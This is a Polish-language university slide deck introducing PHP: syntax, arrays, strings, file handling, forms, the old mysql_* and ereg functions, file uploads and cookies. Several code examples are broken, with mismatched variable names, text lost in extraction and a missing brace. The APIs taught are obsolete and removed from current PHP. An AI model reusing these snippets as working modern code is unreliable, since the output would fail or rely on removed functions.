Pobierz prezentację
Pobieranie prezentacji. Proszę czekać
1
Narzędzia internetowe Paweł Rajba pawel@ii.uni.wroc.pl http://pawel.ii.uni.wroc.pl/
2
PHP – Wprowadzenie Akronim rekursywny "PHP: Hypertext Preprocessor" Tworzonym na zasadach Open Source Dostępny jako moduł lub CGI pod wieloma platformami: Unix, Linux, Windows, MacOS z wieloma serwerami HTTP: Apache, IIS, iPlanet, Xitami, OmniHTTPd
3
PHP – Wprowadzenie Język skryptowy uruchamiany po stronie serwera (ewentualnie po stronie klienta) Możliwość zagnieżdżania znaczników HTML PHP może generować dowolny kod, czyli poza HTML np. XML lub nawet obrazki
4
PHP – Pierwszy przykład Przykładzik
5
PHP – sposoby użycia Skrypty po stronie serwera serwer WWW parser PHP przeglądarka Skrypty z linii poleceń parser PHP zastosowanie do przetwarzania tekstu uruchamiane w cronie lub menedżerze zadań Aplikacje po stronie klienta (np. PHP-GTK)
6
PHP i bazy danych Adabas D Ingres Oracle (OCI7 i OCI8) dBase InterBase Ovrimos Empress FrontBase PostgreSQL FilePro mSQL SolidHyperwave Direct MS-SQL Sybase IBM DB2 MySQL Velocis Informix ODBC Unix dbm
7
PHP – osadzanie skryptów echo "Można też tak";
8
PHP – kilka uwag Instrukcje należy kończyć średnikiem PHP poza trybem "PHP" przepisuje tekst bez zmian Komentarze //, # – jednowierszowe /*... */ – blokowe
9
PHP – zmienne Zmienne są dynamicznie typowane Poprzedzamy znakiem $ W nazwach małe i wielkie litery są rozróżniane <? $Imie = "Jas"; $imie = " Marysia"; $Nazwisko = " Rozpita"; echo $Imie, $imie, $Nazwisko; ?>
10
PHP – zmienne Przypisanie przez referencję: <? $halasuje = "Zmyłer"; $sondaze = &$halasuje; $sondaze = "Pepler"; echo $halasuje." i prowadzi ".$sondaze; ?> Tylko nazwane wyrażenia mogą być przypisane przez referencję // ŹLE
11
PHP – funkcje do zmiennych get_defined_vars get_resource_type doubleval floatval strval is_array is_bool is_callable is_double is_float is_int is_integer is_long is_numeric is_object is_real is_resource is_scalar is_string is_null print_r settype serialize unserialize isset unset
12
PHP – stałe Definiujemy za pomocą funkcji define() bool define(string nazwa, mixed wartość [, bool case_insensitive]) <? define(STALA,"Ahoj!!!"); echo Stala; // Stala define(STALA,"Ahoj!!!",true); echo Stala; // Ahoj!!! ?>
13
PHP – stałe Sprawdzamy czy zdefiniowana za pomocą funkcji defined() bool defined (string nazwa_stalej) <? define(STALA,"Ahoj!!!",true); echo(defined('Stala') ? "Jest" : "Nie jest"); ?>
14
PHP – stałe Funkcja mixed constant(string name) pobiera wartość stałej Funkcja array get_defined_constants() pobiera tablicę stałych <? print_r(get_defined_constants()); ?>
15
PHP – typy danych Skalarne boolowski: boolean liczby całkowite: integer liczby zmiennoprzecinkowe: float łańcuchy znaków: string
16
PHP – typy danych Złożone tablice: array obiekty: object Specjalne identyfikatory zasobów: resource puste: null
17
PHP – typy danych Boolowski: TRUE,FALSE Liczby całkowite: 1234,-123,0123,0xABC Liczby zmiennoprzecinkowe: 1.2,3E-2 Łańcuchy znaków pojedyncze cudzysłowy podwójne cudzysłowy składnia heredoc
18
PHP – więcej o napisach Podwójne cudzysłowy powoduje zamianę nazwy zmiennej na jej wartość Znaki specjalne: \n, \r, \t, \\, \$, \" Składnia heredoc $s = <<<EOD To jest taki sobie\n napis żeby było EOD; Offset: $s{0}, $s[5]
19
PHP – przykłady echo 'Tekst' echo 'To jest \'cytat\' stulecia' echo 'Taki "\'c\'u\'ś\'" inny' echo 'Tak \n nie zadziała' $zmienna = "papier" echo "$zmienna" echo "${zmienna}owe torebki"
20
PHP – tablice Konstruktor array array( [klucz =>] wartość,...) klucz – napis lub nieujemna liczba całkowita wartość – cokolwiek Przypisywanie wartości $tablica[klucz] = wartość; $arr[] = wartość; // kluczem będzie kolejna liczba
21
PHP – tablice Usuwanie pary (klucz, wartość) $a = array(1 => 'jeden', 2 => 'dwa', 3 => 'trzy' ); unset($a[2]); /* to tak, jakby utworzyć tablicę: $a = array(1 => 'jeden', 3 => 'trzy'); ale NIE: $a = array(1 => 'jeden', 2 => 'trzy'); */
22
PHP – tablice $wypasiona_zmienna = array( "owoce" => array("a" => "pomarańcza", "b" => "banan", "c" => "jabłko"), "liczby" => array(1,2,3,4,5,6), "dziury" => array( "pierwsza", 5 => "druga", "trzecia") ); $x = $wypasiona_zmienna['dziury'][5];
23
PHP – obiekty <?php class kasa{ function rabuj() { echo "Rabujemy kase..."; } $bzwbk = new kasa(); $bzwbk->rabuj(); ?>
24
PHP – if, else, elseif 5) { $answ = $var1; } else { $answ = $var2; } ?> $answ = ( $var > 5 ? $var1 : $var2 );
25
PHP – if, else, elseif <?php if (wyrazenie-logiczne) { ?> prawda <?php } else { ?> fałsz <?php } ?>
26
PHP – if, else, elseif if ($a > $b) { print "a jest większe niż b"; } elseif ($a == $b) { print "a jest równe b"; } else { print "a jest mniejsze niż b"; } A jest równe 5
27
PHP – pętla while..do $i = 1; while ($i <= 10) { print $i++; } $i = 1; while ($i <= 10): print $i; $i++; endwhile;
28
PHP – pętla do..while $i = 0; do { print $i; } while ($i>0);
29
PHP – pętla for for ($i = 1; $i <= 10; $i++) { print $i; } for ($i = 1;;$i++) { if ($i > 10) break; print $i; } $i = 1; for (;;) { if ($i > 10) break; print $i++; } for ($i = 1; $i <= 10; print $i, $i++);
30
PHP – petla foreach foreach(tablica as $wartość) wyrażenie foreach(tablica as $klucz => $wartość) wyrażenie $a = array(1, 2, 3, 17); foreach ($a as $v) { print "Aktualna wartość \$a: $v. \n"; } foreach ($tabl as $key => $value) { echo "Klucz: $key; Wartość: $value \n"; }
31
PHP – petla foreach $a = array ( "jeden" => 1, "dwa" => 2, "trzy" => 3, "siedemnaście" => 17 ); foreach($a as $k => $v) { print "\$a[$k] => $v.\n"; }
32
PHP – petla foreach $a[0][0] = "a"; $a[0][1] = "b"; $a[1][0] = "y"; $a[1][1] = "z"; foreach($a as $v1) { foreach ($v1 as $v2) { print "$v2\n"; } foreach(array(1, 2, 3, 4, 5) as $v) { print "$v\n"; }
33
PHP – break, continue Break i continue akceptuje opcjonalny argument, który mówi, ile zagnieżdzonych struktur kontrolnych ma zostać opuszczonych w danym momencie $i=0; while (++$i) { for ($j=0; $j<10; $j++) if ($i*$j==12) break 1; if ($i*$j==69) break 2; }
34
PHP – switch <? switch ($i): case 0: print "i jest równe 0"; break; case 1: print "i jest równe 1"; break; default: print "i jest różne od 0 i 1"; endswitch; ?>
35
PHP – switch <? $imie = 'ala'; switch ($imie) { case 'ala': echo "ma kota"; break; case 'zuzia': echo "nic nie ma"; break; default: echo "reszta się nie liczy"; } ?>
36
PHP – return,... Instrukcja return(): wywołana z wnętrza funkcji, natychmiastowo kończy wykonywanie tej funkcji i zwraca jako jej wartość swój argument. Składnia alternatywna: dostępna dla poleceń if, while, for, foreach i switch. Polega na zamianie nawiasu otwierającego { na dwukropek, a nawiasu zamykającego } na słowo endif, endwhile, endfor, endforeach i endswitch odpowiednio.
37
PHP – zewnętrzne pliki Instrukcje include() require() include_once() require_once() Czym to się różni?
38
PHP – zewnętrzne pliki vars.php <?php $kolor = 'zielone'; $owoc = 'jabłko'; ?> test.php <?php echo "Jedno $kolor $owoc"; // Jedno include 'vars.php'; echo "Jedno $kolor $owoc"; // Jedno zielone jabłko ?>
39
PHP – obsługa napisów void echo string s1 [, string sn...] wypisuje s1,..., sn echo "ala","ma kota" string ltrim(string str [, string charlist]) usuwa białe znaki z początku str; opcjonalnie można podać w charlist jakie znaki ma usunąć domyślnie usuwa: " ", "\t", "\n", "\r", "\0", "x0B" (ASCII: 32, 9, 10, 13, 0, 13)
40
PHP – obsługa napisów string rtrim(string str [, string charlist]) usuwa białe znaki z końca str string trim(string str [, string charlist]) usuwa białe znaki z obu stron str string chr(int ascii) zwraca string zawierający znak o kodzie określonym w ascii int ord(string str) zwraca kod pierwszego znaku z str
41
PHP – obsługa napisów int strcmp(string str1, string str2) jeśli str1<str2, to zwraca -1 jeśli str1>str2, to zwraca 1 jeśli str1=str2, to zwraca 0 int strpos(string gdzie, string co [, int offset]) wyszukuje pierwszego wystąpienia co w gdzie jeśli co nie występuje w gdzie zwracane jest coś równoważne FALSE jeśli podamy offset, to wyszukiwanie rozpocznie się od pozycji określonej przez offset.
42
PHP – obsługa napisów funkcja strpos() – przykład $napis = 'abc'; $szukaj = 'a'; $pos = strpos($napis, $szukaj); if ($pos === false) { // WAŻNE echo "Nie znaleziono"; } else { echo "Znaleziono na pozycji $pos"; }
43
PHP – obsługa napisów int strrpos(string gdzie, char co) działa podobnie do strpos() tylko, że wyszukuje od prawej strony możemy wyszukiwać tylko pojedynczy znak int strlen(string s) zwraca długość s string strtolower(string str) zwraca str z powymienianymi wielkimi literami na małe
44
PHP – obsługa napisów string strtoupper(string str) zwraca str z powymienianymi małymi literami na wielkie string strstr(string str1, string str2) zwraca część str1 od pierwszego wystąpienia str2 $email = 'pawel@wp.pl'; $domena = strstr($email, '@'); echo $domena; // @wp.pl
45
PHP – obsługa napisów string substr(string str, int start [, int length]) zwraca length znaków str od pozycji start; domyślnie length jest do końca str echo substr("abcdef", 1); // "bcdef" echo substr("abcdef", 0, 4); // "abcd" echo substr("abcdef", 0, 8); // "abcdef" int substr_count(string str1, string str2) zwraca ilość wystąpień str2 w str1 echo substr_count("aaaaa","aa") // 2
46
PHP – obsługa napisów int substr_replace(string s1, string s2, int start [, int length]) wymienia w s1 część długości length i zaczynającą się w start na s2 echo substr_replace("Łosie mają w nosie","grają na",6,6); // Łosie grają na nosie
47
PHP – obsługa napisów array explode(string separator, string str [, int limit]) dzieli str względem separator jeśli ustawimy limit, to tablica wynikowa będzie zawierała co najwyżej limit elementów, w ostatnim resztę str $liczby = "1,23,32,44"; $tablica = explode(",", $liczby); echo $tablica[1]; // 23
48
PHP – obsługa napisów string implode(string glue, array pieces) tworzy string zawierający po kolei elementy z pieces rozdzielone glue $tab = array('osoba','email','tel'); $lista = implode(",", $array); echo $lista; // osoba,email,tel string strrev(string str) odwraca str echo strrev("Kilof"); // "foliK"
49
PHP – obsługa napisów string strip_tags(string str [, string dobre_tagi]) usuwa z str tagi HTML poza tymi określonymi w dobre tagi $s = strip_tags($string,' ') string wordwrap (string str [, int width [, string break [, boolean cut]]]) łamie str w białych znakach do długości width, słowem break jeśli chcemy przecinać za długie słowa, to cut ustawiamy na 1
50
PHP – obsługa napisów funkcja wordwrap() – przykład $text = "Bardzo długie i nie za fajne słooooooooooooooooooooowo"; $lepszytekst = wordwrap($text, 8, " \n"); echo "$newtext" Bardzo długie i nie za fajne słooooooooooooooooooooowo
51
PHP – obsługa napisów funkcja wordwrap() – przykład $text = "Bardzo długie i nie za fajne słoooooooooooooooooooowo"; $goodtekst = wordwrap($text,8," \n"); echo "$goodtext" Bardzo długie i nie za fajne słoooooooooooooooooooowo
52
PHP – obsługa napisów funkcja wordwrap() – drugi przykład $goodtext = wordwrap($text,8," \n",1); echo "$goodtext" Bardzo długie i nie za fajne słoooooo oooooooo oooooowo
53
PHP – obsługa napisów string addslashes (string str) dodaje znak "\" tam gdzie to jest potrzebne $str = "Is your name O'reilly?"; // Is your name O\'reilly? echo addslashes($str); string addcslashes (string str, string charlist) dodaje znak "\" przed każdy znak z charlist $text = "Ala ma kota"; echo addcslashes($text, "ma"); // Al\a \m\a kot\a
54
PHP – obsługa napisów string nl2br(string str) zwraca str z wstawionymi przed każdym "\n" string htmlspecialchars ( string string [, int quote_style [, string charset]]) wymienia znaki:, &, ", ' na ich kody: < > & " ' ' wymienia, jeśli włączone ENT_QUOTES " wymienia, jeśli wyłączone ENT_NOQUOTES
55
PHP – obsługa napisów string md5(string str) oblicza MD5 hash od str string md5_file (string filename [, bool raw_output]) oblicza MD5 hash pliku podanego jako parametr string bin2hex (string str) zamienia ciąg binarny na heksadecymalną reprezentację
56
PHP – obsługa plików int fopen(string nazwa, string tryb) otwiera plik lub URL nie są obsługiwane przekierowania (należy URL kończyć slaszem) tryby r – otwiera plik tylko do odczytu i ustawia wskaźnik na początku pliku r+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku
57
PHP – obsługa plików tryby c.d. w – otwiera plik tylko do zapisu i ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony w+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony a – otwiera plik do zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony a+ – otwiera plik do odczytu i zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony
58
PHP – obsługa plików fopen – przykłady: $fp = fopen("/home/pawel/plik.txt", "r"); $fp = fopen("/home/pawel/img.jpg", "rb"); $fp = fopen("http://www.php.net/", "r"); $fp = fopen("ftp://jjs:tajne@wp.pl/", "w"); $fp = fopen("c:\\dane\\plik.txt", "r");
59
PHP – obsługa plików string fgetc(int fp) pobiera znak z wskaźnika pliku jeśli jest koniec pliku, to zwraca FALSE string fgets(int fp [, int długość]) pobiera linię z wskaźnika pliku możemy określić długość domyślna długość wiersza, to 1024 znaki jeśli jest koniec pliku, to zwraca FALSE
60
PHP – obsługa plików string fgetss(int fp, int długość [, string dozwolone_tagi]) pobiera linię ze wskaźnika pliku i usuwa tagi HTML i PHP $linia = fgetss($fp,4096," "); string fread(int fp, int długość) czyta z pliku binarnie do długość bajtów czytanie się kończy po odczytaniu długość bajtów lub po osiągnięciu końca pliku
61
PHP – obsługa plików mixed fscanf(int fp, string format) przetwarza dane z pliku wg formatu $fp = fopen("punkty.txt","r"); while ($row=fscanf($fp,"%s\t%d\n")) { // zrób coś z wartościami } fclose($fp); plik.txt: dziki200 łysy60 warzywo120
62
PHP – obsługa plików array fgetcsv(int fp, int długość [, string delimiter]) czyta linię w formacie CSV przetwarza i zwraca tablicę zawierającą odczytane pola domyślnym separatorem jest "," Przykład: $fp = fopen ("wiersz.csv","r"); $data = fgetcsv ($fp, 1000, ":"); for ($c=0; $c<count($data); $c++) { print $data[$c]."|"; } fclose ($fp);
63
PHP – obsługa plików int fwrite(int fp, string napis [, int length]) zapisuje do wskaźnika pliku można określić długość fwrite($fp,"ząbek"); fwrite($fp,"ząbek"); // będą zapisane obok siebie int fputs(int fp, string str [, int długość]) alias do funkcji fwrite bool fclose(int fp) zamyka otwarty wskaźnik pliku i zwraca TRUE lub FALSE
64
PHP – obsługa plików int copy(string źródło, string przeznaczenie) kopiuje plik jeśli plik docelowy istnieje, to zostanie nadpisany Przykład: if (!copy($file, $file.'.bak')) { print ("Błąd przy kopiowaniu. \n"); } bool rename(stara_nazwa, nowa_nazwa) zmienia nazwę pliku rename("c:\\plik1.txt","c:\\plik2.txt");
65
PHP – obsługa plików int unlink(string nazwa_pliku) kasuje plik zwraca TRUE lub FALSE w przypadku braku pliku pojawi odpowiednie ostrzeżenie bool file_exists(string nazwa_pliku) sprawdza, czy plik istnieje int filesize(string nazwa_pliku) zwraca rozmiar pliku w bajtach
66
PHP – obsługa plików int ftruncate(int fp, int rozmiar) przycina plik fp do podanego rozmiaru int mkdir(string pathname, int mode) tworzy katalog jeżeli istnieje, to pojawi się odpowiednie ostrzeżenie mkdir("/path/to/my/dir", 0700); bool rmdir( string dirname) usuwa katalog jeżeli katalogu nie ma, to pojawi się odpowiednie ostrzeżenie
67
PHP – obsługa plików string dirname(string ścieżka) zwraca ścieżkę podanego pliku print dirname("c:\\xxx\\plik.txt"); // zwróci c:\xxx bool is_dir(string nazwa) mówi o tym, czy nazwa jest katalogiem bool is_file(string nazwa) mówi o tym, czy nazwa jest zwykłym plikiem
68
PHP – obsługa plików array pathinfo(string path) zwraca informację o path <?php $p = pathinfo("/www/htdocs/index.html"); echo $p["dirname"]." \n"; echo $p["basename"]." \n"; echo $p["extension"]." \n"; ?> /www/htdocs index.html html
69
PHP – obsługa plików int fseek(resource handle, int offset [, int whence]) ustawia kursor na odpowiedniej pozycji w pliku opcję whence można ustawić na SEEK_SET – ustawia kursor na pozycji równej dokładnie offset (domyślne) SEEK_CUR – ustawia kursor na pozycji bieżąca+offset SEEK_END – ustawia kursor na pozycji koniec pliku+offset fseek($fp,-2,SEEK_END); // na dwa znaki od końca
70
PHP – obsługa plików bool rewind(fp) ustawia kursor na początku pliku int ftell(fp) zwraca pozycję kursora w pliku string tempnam(string dir, string prefix) tworzy plik tymczasowy w katalogu dir o unikalnej nazwie zaczynającej się od prefix
71
PHP – obsługa plików Przykład: pliki.html, punkty.txt
72
PHP – formularze Jak to działa? Tablice zawierające przesłane dane $_POST[ ] ($HTTP_POST_VARS[ ]) $_GET[ ] ($HTTP_GET_VARS[ ]) Przykład: login.php, gratulacje.html Skalarne i wielowartościowe elementy formularza – przykład: dane.php
73
PHP – formularze Kontrola poprawności danych formularza za pomocą wyrażeń regularnych za pomocą kontroli typów
74
PHP – wyrażenia regularne Wyrażenia regularne ereg – sprawdza dopasowanie do wyrażenia bool ereg(string pattern, string string [, array regs]) eregi – j.w., tylko funkcja jest case insensitive ereg_replace – wymienia wyrażenie regularne string ereg_replace ( string pattern, string replacement, string string) eregi_replace – j.w., tylko funkcja jest c. i.
75
PHP – wyrażenia regularne Wyrażenia regularne split – dzieli napis na elementy rozdzielone przez wyrażenie regularne; zwraca tablicę tych elementów array split(string pattern, string string [, int limit]) spliti – j.w., tylko funkcja jest c.i. Przykład: regexp.php
76
PHP – obsługa MySQL resource mysql_connect( [string serwer [,string użytkownik [,string hasło]]]) łączy z bazą danych domyślnie serwer: "localhost:3306" użytkownik: user będący właścicielem procesu MySQL hasło: ""
77
PHP – obsługa MySQL int mysql_create_db(string nazwa_bazy [, resource identyfikator_połączenia]) tworzy bazę danych bool mysql_select_db(string nazwa_bazy [, resource identyfikator_połączenia]) wybiera bazę danych
78
PHP – obsługa MySQL resource mysql_query(string zapytanie [, resource identyfikator_połączenia [, int typ_wyniku]]) wykonuje zapytanie zwracając zasoby zapytania nie powinno się kończyć średnikiem typ_wyniku może przyjmować następujące wartości: MYSQL_USE_RESULT MYSQL_STORE_RESULT (domyślne, wynik jest buforowany)
79
PHP – obsługa MySQL resource mysql_unbuffered_query(string zapytanie [, resource identyfikator_połączenia [, int typ_wyniku]]) wysyła zapytanie nie pobierając i buforując wyniku ma znaczenie przy zapytaniu generującemu duże wyniki; znacznie oszczędza pamięć nie trzeba czekać na zakończenie zapytania; można od razu pracować na pierwszej krotce nie można użyć funkcji mysql_num_rows() przed wysłaniem kolejnego zapytania należy pobrać wszystkie wiersze.
80
PHP – obsługa MySQL int mysql_insert_id([resource id_połączenia]) podaje numer ID wygenerowany przez auto_increment podczas ostatniej operacji INSERT <?php mysql_connect('localhost', 'user', 'pass') or die('Nie można się połączyć'); mysql_select_db('test'); mysql_query("INSERT INTO osoba(imie,nazwisko,...) values ('Paweł','Rajba',...)"); printf("Ostatnio dodany rekord ma id %d\n", mysql_insert_id()); ?>
81
PHP – obsługa MySQL array mysql_fetch_array(resource wynik [, int typ_wyniku]) zapisuje wiersz wyniku w tablicy asocjacyjnej lub zwraca null gdy nie ma więcej wierszy typ_wyniku MYSQL_ASSOC MYSQL_NUM MYSQL_BOTH (domyślne, zwraca tablicę asocjacyjną i indeksowaną numerycznie)
82
PHP – obsługa MySQL array mysql_fetch_assoc(resource wynik) równoważne mysql_fetch_array( _, MYSQL_ASSOC) array mysql_fetch_row(resource wynik) równoważne mysql_fetch_array( _, MYSQL_NUM) bool mysql_free_result(resource wynik) zwraca całą pamięć przydzieloną wynikowi
83
PHP – obsługa MySQL string mysql_error([resource id_połączenia]) zwraca tekst komunikatu z ostatnio wykonanej operacji int mysql_errno([resource id_połączenia]) zwraca numer komunikatu błędu z ostatnio wykonanej operacji bool mysql_close([resource id_połączenia]) zamyka połączenie z serwerem
84
PHP – obsługa MySQL int mysql_num_rows(resource wynik) zwraca liczbę wierszy w wyniku stosuje się do polecenie SELECT int mysql_affected_rows([resource conn_id]) zwraca liczbę przetworzonych wierszy stosuje się do poleceń UPDATE, INSERT, DELETE jeżeli DELETE zostanie wywołany bez klauzuli WHERE, to wtedy funkcja zwróci wartość 0
85
PHP – obsługa MySQL bool mysql_data_seek( resource identyfikator_wyniku, int numer_wiersza) przesuwa wewnętrzny wskaźnik do pozycji numer_wiersza array mysql_fetch_lengths(resource wynik) pobiera długość każdego pola pobranego za pomocą funkcji mysql_fetch_row (muszą być numerki)
86
PHP – obsługa MySQL mysql_fetch_lengths – przykład: <?php... $row = mysql_fetch_array($result,MYSQL_BOTH); $len = mysql_fetch_lengths($result); print $row["id"]." "; print $row["name"]." "; print $row["salary"]." \n"; print $len[0]." ".$len[1]." ".$len[2]." \n";... ?>
87
PHP – obsługa MySQL string mysql_field_table( resource wynik, int ofset_pola) pobiera nazwę tabeli w której znajduje się dane pole może mieć znaczenie przy złączeniach int mysql_num_fields(resource wynik) zwraca liczbę pól w wyniku string mysql_field_name( resource wynik, int indeks_pola) podaje nazwę danego pola w wyniku
88
PHP – obsługa MySQL string mysql_field_type( resource wynik, int ofset_pola) pobiera typ podanego pola (int, real, string,...) int mysql_field_len( resource wynik, int ofset_pola) zwraca długość podanego pola resource mysql_list_fields(string baza, string tabela [, resource identyfikator_połączenia]) zwraca informację o polach
89
PHP – obsługa MySQL mysql_list_fields – przykład <?php... $fields = mysql_list_fields('test','emp', $link); $columns = mysql_num_fields($fields); for ($i = 0; $i < $columns; $i++) { echo mysql_field_name($fields, $i).":"; echo mysql_field_type($fields, $i).":"; echo mysql_field_len($fields, $i)." \n"; }... ?> //id:int:11 //name:string:20 //salary:int:11
90
PHP – obsługa MySQL resource mysql_list_tables(string baza [, resource identyfikator_połączenia]) pobiera nazwy tabel z baza string mysql_tablename(resource wynik, int i) pobiera nazwę i-tej tabeli z wyniku funkcji mysql_list_tables
91
PHP – obsługa MySQL Przykład: <?php... $result = mysql_list_tables('test'); while ($row = mysql_fetch_row($result)) { printf ("Tabela: %s\n",$row[0]); } for ($i=0; $i<mysql_num_rows($result); $i++) { printf ("Tabela:%s\n", mysql_tablename($result,$i)); }... ?>
92
PHP – obsługa MySQL Przykład: tabela.php, bazooka.php
93
PHP – wysyłanie plików z formularza Kilka różnic między zwykłym formularzem, a takim do wysłania pliku: należy obowiązkowo umieścić w znaczniku form atrybut enctype="multipart/form-data" powinien się również pojawić element input z type="file" możemy też umieścić element taki jak określi on maksymalny akceptowany rozmiar pliku; musi być przed input...file
94
PHP – wysyłanie plików z formularza Dyrektywy w pliku php.ini file_uploads = On | Off włącza/wyłącza możliwość uploadowania plików upload_tmp_dir = ścieżka określa tymczasowy katalog w którym będą składowane pobrane pliki; domyślnie nie jest to ustawione – rolę takiego katalogu pełni tymczasowy katalog w systemie (np. C:\Windows\Temp )
95
PHP – wysyłanie plików z formularza Dyrektywy... c.d. upload_max_filesize = rozmiar maksymalny akceptowany rozmiar uploadowanego pliku (domyślnie 2MB) post_max_size = rozmiar maksymalny akceptowany rozmiar przesyłanego formularza (domyślnie 8M)
96
PHP – wysyłanie plików z formularza Po wysłaniu, dostępne są następujące zmienne: $_FILES["plik"]["name"] – oryginalna nazwa pliku po stronie klienta $_FILES["thefile"]["type"] – typ zawartości wysłanego pliku $_FILES["thefile"]["size"] – rozmiar wysłanego pliku $_FILES["thefile"]["tmp_name"] – nazwa pliku przesłanego na serwer $_FILES["thefile"]["error"] – kod błędu
97
PHP – wysyłanie plików z formularza Kody błędów, które mogą się pojawić przy wysyłaniu plików z formularza: UPLOAD_ERR_OK (kod 0) – operacja zakończyła się sukcesem UPLOAD_ERR_INI_SIZE (kod 1) – plik przekracza rozmiar określony dyrektywą upload_max_filesize w pliku php.ini
98
PHP – wysyłanie plików z formularza Kody błędów... c.d. UPLOAD_ERR_FORM_SIZE (kod 2) – plik przekracza rozmiar określony dyrektywą z formularza MAX_FILE_SIZE UPLOAD_ERR_PARTIAL (kod 3) – plik pobrany częściowo UPLOAD_ERR_NO_FILE (kod 4) – nie pobrano żadnego pliku
99
PHP – wysyłanie plików z formularza Funkcje przydatne przy wysyłaniu plików z formularza bool is_uploaded_file(string nazwa_pliku) – upewnia nas, że plik faktycznie został przysłany metodą POST, a skrypt nie będzie pracował na plikach których nie powinien bool move_uploaded_file(string plik, string destination) – po sprawdzeniu, że plik został przysłany metodą POST jest on przenoszony do nowej lokalizacji
100
PHP – wysyłanie plików z formularza Wysyłanie wielu plików Przykład: pliki.php
101
PHP – funkcje do obsługi tablic array array_count_values(array wejście) zwraca tablicę z elementami i ich częstością występowania w tablicy wejście (p) array array_diff(array t1, array t2 [, array...]) zwraca tablicę, której elementami są te elementy t1, które nie występują w pozostałych argumentach (p) array array_fill(int start, int ile, mixed wartość) wypełnia tablicę podanymi wartościami (p)
102
PHP – funkcje do obsługi tablic array array_filter(array wejście [, callback funkcja_zwrotna]) zwraca tablicę elementów z wejście, dla których funkcja_zwrotna zwróci TRUE (p) array array_flip(array trans) dla każdego elementu tablicy wymienia klucz z odpowiadającą mu wartością (p) array array_intersect(array t1, array t2 [, array...]) zwraca elementy z t1, które występuję we wszystkich pozostałych argumentach (p)
103
PHP – funkcje do obsługi tablic bool array_key_exists (mixed szukany, array tablica) sprawdza, czy szukany klucz jest w tablicy (p) array array_map(callback funkcja_zwrotna, array t1 [, array t2...]) wykonuje funkcje zwrotną na każdym elemencie t1; liczba argumentów funkcji zwrotnej powinna być równa ilości tablic (p)
104
PHP – funkcje do obsługi tablic array array_merge(array t1, array t2 [, array...]) łączy kilka tablic w jedną (p) mixed array_pop(array tablica) usuwa i zwraca ostatni element tablicy int array_push ( array tablica, mixed wartosc [, mixed...]) wstawia jeden więcej elementów na koniec tablicy
105
PHP – funkcje do obsługi tablic mixed array_rand(array wejście [, int ilość]) wybiera jeden lub więcej losowo wybranych elementów z tablicy (p) void shuffle(array tablica) tasuje elementy tablicy (p) array array_reverse(array wejście [, bool zachowaj_klucze]) odwraca kolejność elementów w tablicy (p)
106
PHP – funkcje do obsługi tablic mixed array_search(mixed igła, array stóg_siana [, bool ścisły]) szuka wartości w tablicy zwraca klucz znalezionego elementu lub NULL ścisły określa, czy mają być też porównywane typy elementów
107
PHP – funkcje do obsługi tablic mixed array_shift(array tablica) usuwa i zwraca pierwszy element tablicy array array_slice(array tablica, int przesunięcie [, int długość]) zwraca kawałek tablicy od przesunięcie, a długość to ilość zwróconych elementów jeśli przesunięcie jest ujemne, to sekwencja zacznie się o tyle elementów od końca jeśli długość jest ujemna, to sekwencja skończy się o tyle elementów od końca (p)
108
PHP – funkcje do obsługi tablic mixed array_sum(array tablica) oblicza sumę wartości elementów w tablicy array array_unique(array tablica) usuwa duplikaty wartości z tablicy int array_unshift ( array tablica, mixed wartość [, mixed...]) wstaw jeden lub więcej elementów na początek tablicy int count(mixed zmienna) zlicza ilość elementów w tablicy
109
PHP – funkcje do obsługi tablic mixed current(array tablica) zwraca wartość bieżącego elementu mixed next(array tablica) przesuwa wskaźnik o jeden do przodu zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów mixed prev(array tablica) przesuwa wskaźnik o jeden do tyłu zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów
110
PHP – funkcje do obsługi tablic mixed reset(array tablica) ustawia wskaźnik w tablicy na pierwszy element zwraca ten pierwszy element mixed end(array tablica) ustawia wskaźnik w tablicy na ostatni element zwraca ten ostatni element mixed key(array tablica) zwraca klucz bieżącego elementu tablicy asocjacyjnej
111
PHP – funkcje do obsługi tablic int sizeof(mixed zmienna) alias do funkcji count() mixed pos(array tablica) alias do funkcji current() array range(mixed dolny, mixed górny) tworzy tablicę elementów od dolny do górny włącznie jeśli górny<dolny, to sekwencja będzie do górnego do dolnego (p)
112
PHP – funkcje do obsługi tablic array each(array tablica) pobiera parę (klucz, wartość) bieżącego elementu w tablicy void list(mixed...) argumentom przypisuje kolejne elementy z przypisywanej tablicy (p)
113
PHP – funkcje do obsługi tablic void sort(array tablica [, int flagi]) sortuje tablice flagę można ustawić na SORT_REGULAR - porównuj elementy normalnie SORT_NUMERIC - porównuj elementy jako liczby SORT_STRING - porównuj elementy jako stringi (p)
114
PHP – funkcje do obsługi tablic void usort(array tablica, callback funkcja_por) sortuje tablicę porównując elementy funkcją zdefiniowaną przez użytkownika (p) void rsort(array tablica [, int flagi]) sortuje w porządku odwrotnych int ksort (array tablica [, int flagi]) sortuje tablicę względem kluczy zachowuje skojarzenia kluczy z danymi (p)
115
PHP i ciasteczka Co to są ciasteczka (cookie)? Jak to działa? Kwestia buforowania Tablica $_COOKIES[ ]
116
PHP i ciasteczka int setcookie(string nazwa [, string wartość [, int data_ważności [, string ścieżka [, string domena [, int bezpieczne]]]]]) nazwa – nazwa ciasteczka wartość – wartość ciasteczka
117
PHP i ciasteczka data_ważności – do kiedy ciasteczko jest aktualne; liczba zwracana przez time() lub mktime() ścieżka – specyfikuje URLe w domenie dla których ciastko jest dostępne domena – domena dla której ciasteczko będzie dostępne bezpieczne – określa, czy ciasteczko powinno być dostępne tylko za pomocą protokołu HTTPS
118
PHP i ciasteczka Kilka uwag dotyczących funkcji setcookie() niektóre argumenty można pominąć podając napisy puste dwóch ostatnich argumenty w powyższy sposób pominąć nie można ciasteczko może być usunięte tylko z takimi parametrami, z jakimi zostało usunięte ustawione cookie będą widoczne dopiero po przeładowaniu strony
119
PHP i ciasteczka Kilka uwag... c.d. usunięcie ciasteczka odbywa się przez podanie wstecznej daty ważności – przeglądarka uruchamia wtedy mechanizm usunięcia ciastka każda przeglądarka składuje cookies osobno niekiedy przeglądarki różnie obsługują cookies
120
